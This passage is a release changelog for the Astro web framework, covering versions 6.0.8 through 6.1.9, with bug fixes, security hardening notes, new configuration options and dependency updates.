[`v6.1.9`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#619) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.1.8...astro@6.1.9) ##### Patch Changes - [#16448](https://redirect.github.com/withastro/astro/pull/16448) [`99464ed`](https://redirect.github.com/withastro/astro/commit/99464edb5fc0968f6497328e106f26ab393668bd) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Updates vite, picomatch, and unstorage to latest patch versions - [#16422](https://redirect.github.com/withastro/astro/pull/16422) [`a3951d7`](https://redirect.github.com/withastro/astro/commit/a3951d7873c7c210fedbaa77702bc33db6410715) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Hardens `astro-island` export resolution and hydration error handling for malformed component metadata - [#16420](https://redirect.github.com/withastro/astro/pull/16420) [`e21de1d`](https://redirect.github.com/withastro/astro/commit/e21de1d03b318d5045dba718291c04fe05c01490) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Hardens Astro's error overlay and server logging paths to avoid unsafe HTML insertion and format-string interpolation - [#16419](https://redirect.github.com/withastro/astro/pull/16419) [`f3485c3`](https://redirect.github.com/withastro/astro/commit/f3485c3458bc8bf70c152126e418c24f489ded9d) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Hardens nested object and package metadata lookups to ignore prototype keys in content handling and project scaffolding - [#16022](https://redirect.github.com/withastro/astro/pull/16022) [`a002540`](https://redirect.github.com/withastro/astro/commit/a002540d60d4a840db9971e73c820a8015658ffe) Thanks [@mathieumaf](https://redirect.github.com/mathieumaf)! - Fixes an issue where i18n domains would return 404 when `trailingSlash` is set to `never`. - Updated dependencies \[[`99464ed`](https://redirect.github.com/withastro/astro/commit/99464edb5fc0968f6497328e106f26ab393668bd), [`f3485c3`](https://redirect.github.com/withastro/astro/commit/f3485c3458bc8bf70c152126e418c24f489ded9d)]: - [@astrojs/internal-helpers](https://redirect.github.com/astrojs/internal-helpers)@0.9.0 - [@astrojs/markdown-remark](https://redirect.github.com/astrojs/markdown-remark)@7.1.1 ### [`v6.1.8`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#618) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.1.7...astro@6.1.8) ##### Patch Changes - [#16367](https://redirect.github.com/withastro/astro/pull/16367) [`a6866a7`](https://redirect.github.com/withastro/astro/commit/a6866a7ef086627f8f8237274361d8acc2f85121) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes an issue where build output files could contain special characters (`!`, `~`, `{`, `}`) in their names, causing deploy failures on platforms like Netlify. - [#16381](https://redirect.github.com/withastro/astro/pull/16381) [`217c5b3`](https://redirect.github.com/withastro/astro/commit/217c5b3b937f0aee7e59280e8a10cf2bd4237605) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Slightly improved the performance of the dev server by caching the internal crawling of the dependencies of a project. - [#16348](https://redirect.github.com/withastro/astro/pull/16348) [`7d26cd7`](https://redirect.github.com/withastro/astro/commit/7d26cd77bc1b33cee81f0e7b408dc2d170be1bdd) Thanks [@ocavue](https://redirect.github.com/ocavue)! - Fixes a bug where emitted assets during a client build would contain always fresh, new hashes in their name. Now the build should be more stable. - [#16317](https://redirect.github.com/withastro/astro/pull/16317) [`d012bfe`](https://redirect.github.com/withastro/astro/commit/d012bfeadb5b33f9ab1175191d59357d629c327e) Thanks [@das-peter](https://redirect.github.com/das-peter)! - Fixes a bug where `allowedDomains` weren't correctly propagated when using the development server. - [#16379](https://redirect.github.com/withastro/astro/pull/16379) [`5a84551`](https://redirect.github.com/withastro/astro/commit/5a845514114ae21ca9820e98b56cce33c0cf579b) Thanks [@martrapp](https://redirect.github.com/martrapp)! - Improves Vue scoped style handling in DEV mode during client router navigation. - [#16317](https://redirect.github.com/withastro/astro/pull/16317) [`d012bfe`](https://redirect.github.com/withastro/astro/commit/d012bfeadb5b33f9ab1175191d59357d629c327e) Thanks [@das-peter](https://redirect.github.com/das-peter)! - Adds tests to verify settings are properly propagated when using the development server. - [#16282](https://redirect.github.com/withastro/astro/pull/16282) [`5b0fdaa`](https://redirect.github.com/withastro/astro/commit/5b0fdaa8ba3dc17f4b93d9847c3255150b0aeab2) Thanks [@jmurty](https://redirect.github.com/jmurty)! - Fixes build errors on platforms with skew protection enabled (e.g. Vercel, Netlify) for inter-chunk Javascript using dynamic imports - Updated dependencies \[[`e0b240e`](https://redirect.github.com/withastro/astro/commit/e0b240edea4db632138def3a9003b4b12e12f765)]: - [@astrojs/telemetry](https://redirect.github.com/astrojs/telemetry)@3.3.1 ### [`v6.1.7`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#617) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.1.6...astro@6.1.7) ##### Patch Changes - [#16027](https://redirect.github.com/withastro/astro/pull/16027) [`c62516b`](https://redirect.github.com/withastro/astro/commit/c62516bbbf8fdf95d38293440d28221c048c41f0) Thanks [@fkatsuhiro](https://redirect.github.com/fkatsuhiro)! - Fixes a bug where remote image dimensions were not validated during static builds on Netlify. - [#16311](https://redirect.github.com/withastro/astro/pull/16311) [`94048f2`](https://redirect.github.com/withastro/astro/commit/94048f27c30f47ae0e01f90231e0496ed80595f7) Thanks [@Arecsu](https://redirect.github.com/Arecsu)! - Fixes `--port` flag being ignored after a Vite-triggered server restart (e.g. when a `.env` file changes) - [#16316](https://redirect.github.com/withastro/astro/pull/16316) [`0fcd04c`](https://redirect.github.com/withastro/astro/commit/0fcd04cc985002b56c9e2d36bcb68da0d3f08d5f) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes the `/_image` endpoint accepting an arbitrary `f=svg` query parameter and serving non-SVG content as `image/svg+xml`. The endpoint now validates that the source is actually SVG before honoring `f=svg`, matching the same guard already enforced on the `<Image>` component path. ### [`v6.1.6`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#616) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.1.5...astro@6.1.6) ##### Patch Changes - [#16202](https://redirect.github.com/withastro/astro/pull/16202) [`b5c2fba`](https://redirect.github.com/withastro/astro/commit/b5c2fba8bf2bc315db94e525f12f7661dd357822) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes Actions failing with `ActionsWithoutServerOutputError` when using `output: 'static'` with an adapter - [#16303](https://redirect.github.com/withastro/astro/pull/16303) [`b06eabf`](https://redirect.github.com/withastro/astro/commit/b06eabf01afda713066feb803bbc4c89af634aaf) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Improves handling of special characters in inline `<script>` content - [#14924](https://redirect.github.com/withastro/astro/pull/14924) [`bb4586a`](https://redirect.github.com/withastro/astro/commit/bb4586a73e32659e6cd4f610799799b634cfc658) Thanks [@aralroca](https://redirect.github.com/aralroca)! - Fixes SCSS and CSS module file changes triggering a full page reload instead of hot-updating styles in place during development ### [`v6.1.5`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#615) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.1.4...astro@6.1.5) ##### Patch Changes - [#16171](https://redirect.github.com/withastro/astro/pull/16171) [`5bcd03c`](https://redirect.github.com/withastro/astro/commit/5bcd03c1852cb7a7e165017089cc39c111599530) Thanks [@Desel72](https://redirect.github.com/Desel72)! - Fixes a build error that occurred when a pre-rendered page used the `<Picture>` component and another page called `render()` on content collection entries. - [#16239](https://redirect.github.com/withastro/astro/pull/16239) [`7c65c04`](https://redirect.github.com/withastro/astro/commit/7c65c0495a12dcb86e6566223e398094566d1435) Thanks [@dataCenter430](https://redirect.github.com/dataCenter430)! - Fixes sync content inside `<Fragment>` not streaming to the browser until all async sibling expressions have resolved. - [#16242](https://redirect.github.com/withastro/astro/pull/16242) [`686c312`](https://redirect.github.com/withastro/astro/commit/686c3124c1f4078d8395c86047020d92225e71ae) Thanks [@martrapp](https://redirect.github.com/martrapp)! - Revives UnoCSS in dev mode when used with the client router. This change partly reverts [#16089](https://redirect.github.com/withastro/astro/pull/16089), which in hindsight turned out to be too general. Instead of automatically persisting all style sheets, we now do this only for styles from Vue components. - [#16192](https://redirect.github.com/withastro/astro/pull/16192) [`79d86b8`](https://redirect.github.com/withastro/astro/commit/79d86b88ef199d6a2195584ec53b225c6a9df5f9) Thanks [@alexanderniebuhr](https://redirect.github.com/alexanderniebuhr)! - Uses today’s date for Cloudflare `compatibility_date` in `astro add cloudflare` When creating new projects, `astro add cloudflare` now sets `compatibility_date` to the current date. Previously, this date was resolved from locally installed packages, which could be unreliable in some package manager environments. Using today’s date is simpler and more reliable across environments, and is supported by [`workerd`](https://redirect.github.com/cloudflare/workers-sdk/pull/13051). - [#16259](https://redirect.github.com/withastro/astro/pull/16259) [`34df955`](https://redirect.github.com/withastro/astro/commit/34df95585662d8d00f09e1295cdfe51f2dc78e3f) Thanks [@gameroman](https://redirect.github.com/gameroman)! - Removed `dlv` dependency ### [`v6.1.4`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#614) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.1.3...astro@6.1.4) ##### Patch Changes - [#16197](https://redirect.github.com/withastro/astro/pull/16197) [`21f9fe2`](https://redirect.github.com/withastro/astro/commit/21f9fe29f5de442a3e0672ea36dbe690491f3e8c) Thanks [@SchahinRohani](https://redirect.github.com/SchahinRohani)! - Remove unused re-exports from assets/utils barrel file to fix Vite build warning - [#16059](https://redirect.github.com/withastro/astro/pull/16059) [`6d5469e`](https://redirect.github.com/withastro/astro/commit/6d5469e2c8ddd5c2a546052ac7e3b0fb801b9069) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes `Expected 'miniflare' to be defined` errors and 404 responses in dev mode when using the Cloudflare adapter and the config file changes. Instead of creating a brand new Vite server on config changes, Astro now performs a Vite in-place restart, allowing the Cloudflare adapter to reuse its existing miniflare instance across restarts. - [#16154](https://redirect.github.com/withastro/astro/pull/16154) [`7610ba4`](https://redirect.github.com/withastro/astro/commit/7610ba4552b51a64be59ad16e8450ce6672579f0) Thanks [@Desel72](https://redirect.github.com/Desel72)! - Fixes pages with dots in their filenames (e.g. `hello.world.astro`) returning 404 when accessed with a trailing slash in the dev server. The `trailingSlashForPath` function now only forces `trailingSlash: 'never'` for endpoints with file extensions, allowing pages to correctly respect the user's `trailingSlash` config. - [#16193](https://redirect.github.com/withastro/astro/pull/16193) [`23425e2`](https://redirect.github.com/withastro/astro/commit/23425e2413b25cd304b64b4711f86f3f889546ff) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes `trailingSlash: "always"` producing redirect HTML instead of the actual response for extensionless endpoints during static builds ### [`v6.1.3`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#613) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.1.2...astro@6.1.3) ##### Patch Changes - [#16161](https://redirect.github.com/withastro/astro/pull/16161) [`b51f297`](https://redirect.github.com/withastro/astro/commit/b51f2972d4c5d877f9087b86bb2b1d62c8293be5) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes a dev rendering issue with the Cloudflare adapter where head metadata could be missing and dev CSS/scripts could be injected in the wrong place - [#16110](https://redirect.github.com/withastro/astro/pull/16110) [`de669f0`](https://redirect.github.com/withastro/astro/commit/de669f0a11c606cc4703762a73c2566d17667453) Thanks [@tmimmanuel](https://redirect.github.com/tmimmanuel)! - Fixes skew protection query parameters not being appended to inter-chunk JavaScript imports in client bundles, which could cause version mismatches during rolling deployments on Vercel - [#16162](https://redirect.github.com/withastro/astro/pull/16162) [`a0a49e9`](https://redirect.github.com/withastro/astro/commit/a0a49e99fd63419cae8bf143e1a58f532c52ee94) Thanks [@rururux](https://redirect.github.com/rururux)! - Fixes an issue where HMR would not trigger when modifying files while using [@astrojs/cloudflare](https://redirect.github.com/astrojs/cloudflare) with prerenderEnvironment: 'node' enabled. - [#16142](https://redirect.github.com/withastro/astro/pull/16142) [`7454854`](https://redirect.github.com/withastro/astro/commit/7454854dfcb9b7e9ae7f825dbf72bdf3106b78e1) Thanks [@rururux](https://redirect.github.com/rururux)! - Fixes HTML content being incorrectly escaped as plain text when rendering a MDX component using the `AstroContainer` APIs. - [#16116](https://redirect.github.com/withastro/astro/pull/16116) [`12602a9`](https://redirect.github.com/withastro/astro/commit/12602a907c4eba0508145938c652362f37240878) Thanks [@riderx](https://redirect.github.com/riderx)! - Fixes a bug where page-level CSS could leak between unrelated pages when traversing style parents across top-level route boundaries - [#16178](https://redirect.github.com/withastro/astro/pull/16178) [`a7e7567`](https://redirect.github.com/withastro/astro/commit/a7e75678356488416a31184cdc53204094486820) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes SSR builds failing with "No matching renderer found" when a project only has injected routes and no `src/pages/` directory ### [`v6.1.2`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#612) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.1.1...astro@6.1.2) ##### Patch Changes - [#16104](https://redirect.github.com/withastro/astro/pull/16104) [`47a394d`](https://redirect.github.com/withastro/astro/commit/47a394d7cf2eb735fcee8e90830737f9e900a274) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes `astro preview` ignoring `vite.preview.allowedHosts` set in `astro.config.mjs` - [#16047](https://redirect.github.com/withastro/astro/pull/16047) [`711f837`](https://redirect.github.com/withastro/astro/commit/711f837cfa3374a458f1f91e08bc388e7c0e12e6) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes catch-all routes incorrectly intercepting requests for static assets when using the `@astrojs/node` adapter in middleware mode. - [#15981](https://redirect.github.com/withastro/astro/pull/15981) [`a60cbb6`](https://redirect.github.com/withastro/astro/commit/a60cbb6963d55aa272281edfeecf7251d987b0fb) Thanks [@moktamd](https://redirect.github.com/moktamd)! - Fix Zod v4 validation error formatting to show human-readable messages instead of raw JSON ### [`v6.1.1`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#611) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.1.0...astro@6.1.1) ##### Patch Changes - [#16105](https://redirect.github.com/withastro/astro/pull/16105) [`23d60de`](https://redirect.github.com/withastro/astro/commit/23d60dee6eae3d7148ef87f8b44c3d7470fef0ed) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fix dev toolbar audit crash when encountering the `image` ARIA role - [#16089](https://redirect.github.com/withastro/astro/pull/16089) [`999c875`](https://redirect.github.com/withastro/astro/commit/999c875da5914735458e0939be8a2be2e012e580) Thanks [@martrapp](https://redirect.github.com/martrapp)! - Fixes an issue with the client router where Vue's `:deep()` notation was ignored in dev mode. ### [`v6.1.0`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#610) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.0.8...astro@6.1.0) ##### Minor Changes - [#15804](https://redirect.github.com/withastro/astro/pull/15804) [`a5e7232`](https://redirect.github.com/withastro/astro/commit/a5e723217f30020ae82ca67190794150e9e94e15) Thanks [@merlinnot](https://redirect.github.com/merlinnot)! - Allows setting codec-specific defaults for Astro's built-in Sharp image service via `image.service.config`. You can now configure encoder-level options such as `jpeg.mozjpeg`, `webp.effort`, `webp.alphaQuality`, `avif.effort`, `avif.chromaSubsampling`, and `png.compressionLevel` when using `astro/assets/services/sharp` for compile-time image generation. These settings apply as defaults for the built-in Sharp pipeline, while per-image `quality` still takes precedence when set on `<Image />`, `<Picture />`, or `getImage()`. - [#15455](https://redirect.github.com/withastro/astro/pull/15455) [`babf57f`](https://redirect.github.com/withastro/astro/commit/babf57f83f47d4cd1fa73a55863718b71c8eebf0) Thanks [@AhmadYasser1](https://redirect.github.com/AhmadYasser1)! - Adds `fallbackRoutes` to the `IntegrationResolvedRoute` type, exposing i18n fallback routes to integrations via the `astro:routes:resolved` hook for projects using `fallbackType: 'rewrite'`. This allows integrations such as the sitemap integration to properly include generated fallback routes in their output. ```js { 'astro:routes:resolved': ({ routes }) => { for (const route of routes) { for (const fallback of route.fallbackRoutes) { console.log(fallback.pathname) // e.g. /fr/about/ } } } } ``` - [#15340](https://redirect.github.com/withastro/astro/pull/15340) [`10a1a5a`](https://redirect.github.com/withastro/astro/commit/10a1a5a5232fa401ca814b396cf79aeccdfdf8a9) Thanks [@trueberryless](https://redirect.github.com/trueberryless)! - Adds support for advanced configuration of SmartyPants in Markdown. You can now pass an options object to `markdown.smartypants` in your Astro configuration to fine-tune how punctuation, dashes, and quotes are transformed. This is helpful for projects that require specific typographic standards, such as "oldschool" dash handling or localized quotation marks. ```js // astro.config.mjs export default defineConfig({ markdown: { smartypants: { backticks: 'all', dashes: 'oldschool', ellipses: 'unspaced', openingQuotes: { double: '«', single: '‹' }, closingQuotes: { double: '»', single: '›' }, quotes: false, }, }, }); ``` See [the `retext-smartypants` options](https://redirect.github.com/retextjs/retext-smartypants?tab=readme-ov-file#fields) for more information. ##### Patch Changes - [#16025](https://redirect.github.com/withastro/astro/pull/16025) [`a09f319`](https://redirect.github.com/withastro/astro/commit/a09f3194f6ddf04874be424c28db03caf33d2c75) Thanks [@koji-1009](https://redirect.github.com/koji-1009)! - Instructs the client router to skip view transition animations when the browser is already providing its own visual transition, such as a swipe gesture. - [#16055](https://redirect.github.com/withastro/astro/pull/16055) [`ccecb8f`](https://redirect.github.com/withastro/astro/commit/ccecb8fc057cada9b0e70924d364181391c647e4) Thanks [@Gautam-Bharadwaj](https://redirect.github.com/Gautam-Bharadwaj)! - Fixes an issue where `client:only` components could have duplicate `client:component-path` attributes added in MDX in rare cases - [#16081](https://redirect.github.com/withastro/astro/pull/16081) [`44fc340`](https://redirect.github.com/withastro/astro/commit/44fc34015d702824c55b031c7b800165f7ba807d) Thanks [@crazylogic03](https://redirect.github.com/crazylogic03)! - Fixes the `emitFile() is not supported in serve mode` warning that appears during `astro dev` when using integrations that inject before-hydration scripts (e.g. `@astrojs/react`) - [#16068](https://redirect.github.com/withastro/astro/pull/16068) [`31d733b`](https://redirect.github.com/withastro/astro/commit/31d733b00a7efe5b29bdadab21daf8b3eea6ae55) Thanks [@Karthikeya1500](https://redirect.github.com/Karthikeya1500)! - Fixes the dev toolbar a11y audit incorrectly classifying `menuitemradio` as a non-interactive ARIA role. - [#16080](https://redirect.github.com/withastro/astro/pull/16080) [`e80ac73`](https://redirect.github.com/withastro/astro/commit/e80ac73e4433d1ac0518af731f2af00f8aaa46ad) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes `experimental.queuedRendering` incorrectly escaping the HTML output of `.html` page files, causing the page content to render as plain text instead of HTML in the browser. - [#16048](https://redirect.github.com/withastro/astro/pull/16048) [`13b9d56`](https://redirect.github.com/withastro/astro/commit/13b9d5685d0e1b34b793d0a00d64e3f8310f9f17) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes a dev server crash (`serverIslandNameMap.get is not a function`) that occurred when navigating to a page with `server:defer` after first visiting a page without one, when using `@astrojs/cloudflare` - [#16093](https://redirect.github.com/withastro/astro/pull/16093) [`336e086`](https://redirect.github.com/withastro/astro/commit/336e086e084202d9c6f218226a3133bb1e10f0ba) Thanks [@Snugug](https://redirect.github.com/Snugug)! - Fixes Zod meta not correctly being rendered on top-level schema when converted into JSON Schema - [#16043](https://redirect.github.com/withastro/astro/pull/16043) [`d402485`](https://redirect.github.com/withastro/astro/commit/d402485b4b196630e891d7fd21683d9b1e1c1ab8) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes `checkOrigin` CSRF protection in `astro dev` behind a TLS-terminating reverse proxy. The dev server now reads `X-Forwarded-Proto` (gated on `security.allowedDomains`, matching production behaviour) so the constructed request origin matches the `https://` origin the browser sends. Also ensures `security.allowedDomains` and `security.checkOrigin` are respected in dev. - [#16064](https://redirect.github.com/withastro/astro/pull/16064) [`ba58e0d`](https://redirect.github.com/withastro/astro/commit/ba58e0d6edbc3f8a651ab0c20df9b1f33572bd7b) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Updates the dependency `svgo` to the latest, to fix a security issue. - [#16007](https://redirect.github.com/withastro/astro/pull/16007) [`2dcd8d5`](https://redirect.github.com/withastro/astro/commit/2dcd8d54c6fb00183228d757bf684e67c79029d8) Thanks [@florian-lefebvre](https://redirect.github.com/florian-lefebvre)! - Fixes a case where fonts files would unecessarily be copied several times during the build - [#16017](https://redirect.github.com/withastro/astro/pull/16017) [`b089b90`](https://redirect.github.com/withastro/astro/commit/b089b904f1ed578e9edaefd129bf9843120a808f) Thanks [@felmonon](https://redirect.github.com/felmonon)! - Fix the `astro sync` error message when `getImage()` is called while loading content collections. - [#16014](https://redirect.github.com/withastro/astro/pull/16014) [`fa73fbb`](https://redirect.github.com/withastro/astro/commit/fa73fbbac25c96eeadb766666ea3b2aded440bab) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes a build error where using `astro:config/client` inside a `<script>` tag would cause Rollup to fail with "failed to resolve import `virtual:astro:routes` from `virtual:astro:manifest`" - [#16054](https://redirect.github.com/withastro/astro/pull/16054) [`f74465a`](https://redirect.github.com/withastro/astro/commit/f74465aa406ddfbc9d458189bf7a2e67a227b33c) Thanks [@seroperson](https://redirect.github.com/seroperson)! - Fixes an issue with the development server, where changes to the middleware weren't picked, and it required a full restart of the server. - [#16033](https://redirect.github.com/withastro/astro/pull/16033) [`198d31b`](https://redirect.github.com/withastro/astro/commit/198d31b3a816c76b9119112589ae2bf8379346ad) Thanks [@adampage](https://redirect.github.com/adampage)! - Fixes a bug where the the role `image` was incorrectly reported by audit tool bar. - [#15935](https://redirect.github.com/withastro/astro/pull/15935) [`278828c`](https://redirect.github.com/withastro/astro/commit/278828cd35409f6db9dab766c7208fbab5f204c1) Thanks [@oliverlynch](https://redirect.github.com/oliverlynch)! - Fixes cached assets failing to revalidate due to redirect check mishandling Not Modified responses. - [#16075](https://redirect.github.com/withastro/astro/pull/16075) [`2c1ae85`](https://redirect.github.com/withastro/astro/commit/2c1ae859d915726d95d38ea08c4c141eeda2cd3f) Thanks [@florian-lefebvre](https://redirect.github.com/florian-lefebvre)! - Fixes a case where invalid URLs would be generated in development when using font families with an oblique `style` and angles - [#16062](https://redirect.github.com/withastro/astro/pull/16062) [`87fd6a4`](https://redirect.github.com/withastro/astro/commit/87fd6a4fcb075efa10a518aa8b92a11dd3284964) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Warns on dev server startup when Vite 8 is detected at the top level of the user's project, and automatically adds a `"overrides": { "vite": "^7" }` entry to `package.json` when running `astro add cloudflare`. This prevents a `require_dist is not a function` crash caused by a Vite version split between Astro (requires Vite 7) and packages like `@tailwindcss/vite` that hoist Vite 8. - Updated dependencies \[[`10a1a5a`](https://redirect.github.com/withastro/astro/commit/10a1a5a5232fa401ca814b396cf79aeccdfdf8a9)]: - [@astrojs/markdown-remark](https://redirect.github.com/astrojs/markdown-remark)@7.1.0 ### [`v6.0.8`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#608) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.0.7...astro@6.0.8) ##### Patch Changes - [#15978](https://redirect.github.com/withastro/astro/pull/15978) [`6d182fe`](https://redirect.github.com/withastro/astro/commit/6d182fe267586e2ee57113ad559912a456019306) Thanks [@seroperson](https://redirect.github.com/seroperson)! - Fixes a bug where Astro Actions didn't properly support nested object properties, causing problems when users used zod functions such as `superRefine` or `discriminatedUnion`. - [#16011](https://redirect.github.com/withastro/astro/pull/16011) [`e752170`](https://redirect.github.com/withastro/astro/commit/e752170b64f436ccb4acef9612951c50927afa0c) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes a dev server hang on the first request when using the Cloudflare adapter - 